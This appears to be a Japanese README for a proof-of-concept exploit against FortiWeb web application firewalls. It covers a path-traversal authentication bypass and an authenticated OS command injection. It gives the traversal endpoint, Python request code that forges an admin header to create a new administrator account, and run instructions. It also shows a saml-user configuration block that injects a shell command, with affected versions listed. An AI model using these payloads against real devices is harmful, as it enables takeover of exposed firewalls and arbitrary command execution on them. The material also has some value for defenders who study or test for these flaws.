
FortiWeb CVEのPoCエクスプロイト:パストラバーサルによる認証バイパスと認証済みOSコマンドインジェクション。詳細な分析、ペイロード、およびセキュリティテストのための緩和策ガイダンスを含みます。
FortiWeb は、Web アプリケーションを保護するための Web Application Firewall (WAF) デバイスです。
2025年に、2つの深刻な脆弱性が発見されました:
| 項目 | 内容 |
|---|---|
| 脆弱性の種類 | 相対パストラバーサル 認証バイパス |
| 原因 | FortiWeb は認証前にパスを厳密に処理しません: - 論理パス文字列に基づくアクセス制御 - パスを完全に正規化しない - ../ を使用した内部リソースへのアクセスを許可 |
| 説明 | 一部の管理エンドポイントは、有効な認証なしでアクセスされる可能性があります |
| 影響 | - 認証を完全にバイパス - 管理者機能への不正アクセス - 権限モデルの破壊 |
| 影響を受けるバージョン | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.4 - 7.4.0 – 7.4.9 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
例:
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
これにより、ライブラリのバージョン競合を回避し、作業環境の安定性を確保して、システムへの影響を抑えることができます。

ペイロード
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': username,
'password': password,
'success': resp.status == 200
}
Python3 でツールを実行します:
python3 exploit.py <IP_target>
<IP_target>: ここでの IP アドレスは FortiWeb デバイスのホスト名です。
username と password を取得 -> ログインを実行

エクスプロイトに成功し、管理者権限を持つ新しいアカウントを作成できました。
新しく作成した管理者アカウントでログインに成功した後、攻撃者は特別に細工したリクエスト、または FortiWeb CLI のコマンドラインインターフェースを直接介して、認証済みのコマンドインジェクションの脆弱性を悪用できます:
config user saml-user
edit "`id`" ## nhập lệnh tại đây
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
FortiWeb は設定文字列をエスケープして、saml-user の設定中に id コマンドを実行します。
| 項目 | 内容 |
|---|
| 脆弱性の種類 | OS コマンドインジェクション (CWE-78) |
| 原因 | FortiWeb は OS コマンド実行時に入力を安全に処理しません: - 入力の検証なし - 特殊文字のエスケープ不足 - ユーザーデータをシステムコマンドに直接渡す |
| 説明 | 認証を必要とするが、システムコマンドの挿入を許可する脆弱性 |
| 影響 | - 意図しないコマンドの実行 - システムリソースへのアクセス - 完全性と可用性への影響 |
| 影響を受けるバージョン | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.5 - 7.4.0 – 7.4.10 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |